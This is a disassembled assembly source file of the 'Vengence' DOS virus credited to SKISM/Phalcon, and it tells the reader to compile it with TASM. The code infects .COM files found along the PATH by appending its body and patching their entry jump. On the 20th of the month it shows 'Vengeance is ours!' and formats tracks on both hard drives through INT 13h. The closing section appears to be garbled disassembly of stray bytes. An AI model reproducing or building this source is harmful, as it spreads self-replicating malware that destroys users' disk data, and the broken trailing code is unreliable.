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veng1.asm
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Assembly Source File
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1992-06-25
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18KB
|
467 lines
;*****************************************************************************
; Disassembly of the Vengence Virus (SKISM/Phalcon)
; Disassembled By Natas Kaupas [YAM]
;
; Save this and compile this with TASM.
;*****************************************************************************
PAGE 59,132
data_1e equ 0 ; (0000:0000=7Ah)
data_6e equ 100h ; (0000:0100=59h)
data_7e equ 0 ; (8096:0000=0)
data_8e equ 2Ch ; (8096:002C=0)
data_9e equ 3Dh ; (8096:003D=0)
data_10e equ 52h ; (8096:0052=0)
data_11e equ 92h ; (8096:0092=0)
data_12e equ 0A8h ; (8096:00A8=0)
data_13e equ 0ACh ; (8096:00AC=0)
data_14e equ 0B0h ; (8096:00B0=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
veng proc far
start:
jmp short loc_1 ; (0111)
db 15 dup (90h)
loc_1:
push cx
mov dx,327h
cld ; Clear direction
mov si,dx
add si,3Dh
mov di,offset ds:[100h] ; (8096:0100=0EBh)
mov cx,3
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov si,dx
mov ax,0FF0Fh
int 21h ; ??INT Non-standard interrupt.
cmp ax,101h
jne loc_2 ; Jump if not equal
jmp loc_25 ; (0315)
loc_2:
push es
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
mov [si+33h],bx
nop
mov [si+35h],es
pop es
mov dx,data_11e ; (8096:0092=0)
nop
add dx,si
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
nop
push es
push si
mov es,ds:data_8e ; (8096:002C=0)
mov di,data_1e ; (0000:0000=7Ah)
loc_3:
pop si
push si
add si,43h
lodsb ; String [si] to al
mov cx,8000h
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov cx,4
locloop_4:
lodsb ; String [si] to al
scasb ; Scan es:[di] for al
jnz loc_3 ; Jump if not zero
loop locloop_4 ; Loop if cx > 0
pop si
pop es
mov [si+4Eh],di
mov di,si
add di,52h
mov bx,si
add si,52h
mov di,si
jmp short loc_10 ; (01B7)
loc_5:
cmp word ptr [si+4Eh],0
jne loc_6 ; Jump if not equal
jmp loc_18 ; (02C2)
loc_6:
push ds
push si
mov ds,es:data_8e ; (8096:002C=0)
nop
mov di,si
nop
mov si,es:[di+4Eh]
nop
add di,52h
nop
loc_7:
nop
lodsb ; String [si] to al
nop
cmp al,3Bh ; ';'
nop
jz loc_9 ; Jump if zero
nop
cmp al,0
je loc_8 ; Jump if equal
stosb ; Store al to es:[di]
jmp short loc_7 ; (0197)
loc_8:
mov si,data_7e ; (8096:0000=0)
loc_9:
pop bx
pop ds
mov [bx+4Eh],si
cmp ch,5Ch ; '\'
je loc_10 ; Jump if equal
mov al,5Ch ; '\'
stosb ; Store al to es:[di]
loc_10:
mov [bx+50h],di
mov si,bx
add si,48h
mov cx,6
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov si,bx
mov ah,4Eh ; 'N'
mov dx,data_10e ; (8096:0052=0)
add dx,si
mov cx,3
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jmp short loc_12 ; (01D8)
loc_11:
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
loc_12:
jnc loc_13 ; Jump if carry=0
jmp short loc_5 ; (017A)
loc_13:
mov ax,ds:data_12e[si] ; (8096:00A8=0)
and al,1Ch
cmp al,1Ch
je loc_11 ; Jump if equal
cmp word ptr ds:data_13e[si],0F72Dh ; (8096:00AC=0)
ja loc_11 ; Jump if above
cmp word ptr ds:data_13e[si],7C8h ; (8096:00AC=0)
jb loc_11 ; Jump if below
mov di,[si+50h]
push si
add si,data_14e ; (8096:00B0=0)
loc_14:
lodsb ; String [si] to al
stosb ; Store al to es:[di]
cmp al,0
jne loc_14 ; Jump if not equal
pop si
mov ax,4300h
mov dx,data_10e ; (8096:0052=0)
add dx,si
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov [si+3Bh],cx
mov ax,4301h
and cx,0FFFEh
mov dx,data_10e ; (8096:0052=0)
add dx,si
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov ax,3D02h
mov dx,data_10e ; (8096:0052=0)
add dx,si
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_15 ; Jump if carry=0
jmp loc_17 ; (02B5)
loc_15:
mov bx,ax
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov [si+37h],cx
mov [si+39h],dx
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
mov ah,3Fh ; '?'
mov cx,3
mov dx,data_9e ; (8096:003D=0)
add dx,si
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jc loc_16 ; Jump if carry Set
cmp ax,3
jne loc_16 ; Jump if not equal
mov ax,4202h
mov cx,0
mov dx,0
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_16 ; Jump if carry Set
mov cx,ax
sub ax,3
mov [si+41h],ax
add cx,316h
mov di,si
sub di,214h
mov [di],cx
mov ah,40h ; '@'
mov cx,2D3h
mov dx,si
sub dx,216h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
jc loc_16 ; Jump if carry Set
cmp ax,2D3h
jne loc_16 ; Jump if not equal
mov ax,4200h
mov cx,0
mov dx,0
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_16 ; Jump if carry Set
mov ah,40h ; '@'
mov cx,3
mov dx,si
add dx,40h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_16:
mov dx,[si+39h]
mov cx,[si+37h]
and cx,0FFE0h
or cx,1Ch
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_17:
mov ax,4301h
mov cx,[si+3Bh]
mov dx,data_10e ; (8096:0052=0)
add dx,si
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_18:
push ds
mov ah,1Ah
mov dx,[si+33h]
mov ds,[si+35h]
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
pop ds
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp dl,14h
jne loc_25 ; Jump if not equal
mov ah,9
mov dx,si
add dx,0
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov dx,80h
loc_19:
xor ch,ch ; Zero register
loc_20:
mov ah,5
int 13h ; Disk dl=drive 0 ah=func 05h
; format track=ch or cylindr=cx
cmp dh,1
je loc_21 ; Jump if equal
inc dh
jmp short loc_20 ; (02E5)
loc_21:
cmp ch,20h ; ' '
je loc_22 ; Jump if equal
xor dh,dh ; Zero register
inc ch
jmp short loc_20 ; (02E5)
loc_22:
cmp dl,81h
je loc_23 ; Jump if equal
mov dl,81h
xor dh,dh ; Zero register
jmp short loc_19 ; (02E3)
loc_23:
mov ax,2509h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_24:
mov ah,2
mov dl,7
int 21h ; DOS Services ah=function 02h
; display char dl
jmp short loc_24 ; (030D)
loc_25:
pop cx
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
mov di,100h
push di
xor di,di ; Zero register
retn 0FFFFh
db 0Dh, 0Ah, '*** Vengeance is ours!'
db ' ***', 0Dh, 0Ah, '$'
db ' SKISM/Phalcon ', 27h, '92 $'
db 10 dup (0)
db 0CDh, 20h, 90h,0E9h, 00h, 00h
db 'PATH=*.COM'
db 0, 0, 0, 0, 0
data_21 db 0
db 106 dup (0)
db 44h, 0Eh, 0Bh,0C0h, 7Eh, 0Ah
db 0FFh, 74h, 10h, 56h,0E8h, 76h
db 32h, 83h,0C4h, 04h
db 0E8h, 7Ch, 6Eh,0E8h, 3Ch, 69h
db 0F6h, 46h,0F0h, 04h, 74h, 03h
db 0E8h,0BEh, 82h
loc_28:
test byte ptr [bp-10h],2
jz loc_29 ; Jump if zero
call $+7FBBh
loc_29:
mov ax,si
pop si
mov sp,bp
pop bp
retn
push bp
mov bp,sp
sub sp,1Ah
push si
mov word ptr [bp-18h],0
mov word ptr [bp-0Ah],0
mov word ptr [bp-14h],0
mov word ptr [bp-6],0
mov word ptr [bp-0Eh],0
mov word ptr [bp-16h],0
mov word ptr [bp-2],0
mov word ptr [bp-12h],8CFDh
esc 3,[bp+di-7Dh] ; coprocessor escape
retn
sub ax,0DA03h
mov bp,cs
mov ax,dx
and ah,0Fh
mov cl,4
mov si,dx
shl si,cl ; Shift w/zeros fill
mov cx,si
shr cx,1 ; Shift w/zeros fill
dec si
dec si
mov di,si
sub bp,ax
sub bx,ax
mov es,bp
mov ds,bx
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
cld ; Clear direction
mov ds,bp
pop es
push es
mov di,data_6e ; (0000:0100=59h)
xor si,si ; Zero register
lodsw ; String [si] to ax
xchg ax,bp
mov dx,10h
jmp short loc_35 ; (04A5)
db 90h
loc_30:
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
jmp short loc_37 ; (04B5)
loc_31:
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
jmp short loc_38 ; (04BC)
loc_32:
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
jmp short loc_39 ; (04C7)
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
;* jmp short loc_42 ;*(04EF)
db 0EBh, 5Dh
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
jmp short $+60h
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
jmp short $+61h
loc_33:
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
jc loc_36 ; Jump if carry Set
loc_34:
movsb ; Mov [si] to es:[di]
loc_35:
shr bp,1 ; Shift w/zeros fill
dec dx
jz loc_33 ; Jump if zero
jnc loc_34 ; Jump if carry=0
loc_36:
xor cx,cx ; Zero register
xor bx,bx ; Zero register
shr bp,1 ; Shift w/zeros fill
dec dx
jz loc_30 ; Jump if zero
loc_37:
rcl bx,1 ; Rotate thru carry
shr bp,1 ; Shift w/zeros fill
dec dx
jz loc_31 ; Jump if zero
loc_38:
rcl bx,1 ; Rotate thru carry
test bx,bx
jz loc_41 ; Jump if zero
shr bp,1 ; Shift w/zeros fill
dec dx
jz loc_32 ; Jump if zero
loc_39:
rcl bx,1 ; Rotate thru carry
cmp bl,6
jb loc_41 ; Jump if below
shr bp,1 ; Shift w/zeros fill
dec dx
jnz loc_40 ; Jump if not zero
lodsw ; String [si] to ax
xchg ax,bp
mov dl,10h
loc_40:
rcl bx,1 ; Rotate thru carry
loc_41:
mov cl,byte ptr cs:[15Eh][bx] ; (8096:015E=0B9h)
cmp cl,0Ah
je $+76h ; Jump if equal
veng endp
seg_a ends
end start
